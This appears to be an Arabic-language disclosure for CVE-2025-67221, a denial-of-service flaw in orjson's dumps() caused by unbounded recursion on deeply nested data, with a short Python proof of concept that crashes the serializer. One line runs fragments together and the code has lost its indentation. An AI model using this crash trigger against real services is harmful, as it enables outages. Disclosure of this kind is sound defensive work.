
توثيق وكود إعادة إنتاج لـ CVE-2025-67221، وهي ثغرة رفض خدمة في دالة dumps() الخاصة بـ orjson ناتجة عن تكرار غير منضبط عند تسلسل بيانات JSON المتداخلة بعمق.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2025-67221 |
| المنتج المتأثر | orjson |
| الإصدارات المتأثرة | ≤ 3.11.4 |
| نوع الثغرة | رفض الخدمة (التكرار غير المتحكم فيه) |
| ناقل الهجوم | عن بُعد (إذا كان المهاجم يتحكم في البيانات المسلسلة) |
توجد ثغرة رفض خدمة في دالة orjson.dumps() في إصدارات orjson 3.11.4 والأقدم. لا تفرض الدالة حدًا للتكرار عند تسلسل هياكل بيانات JSON المتداخلة بعمق. يمكن للمهاجم الذي يستطيع جعل التطبيق يسلسل بيانات متداخلة يتحكم بها أن يتسبب في تعطل روتين التسلسل.
orjson.dumps()pysrc/orjson/__init__.pyiتم الاختبار على:
قد تكون التطبيقات التي تستخدم orjson لتسلسل هياكل بيانات غير موثوقة أو يتحكم بها المهاجم عرضة لهجمات رفض الخدمة.
كود لتكرار الثغرة محليًا:
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)
يؤدي الكود أعلاه إلى تفريغ أساسي (core dump) جميل
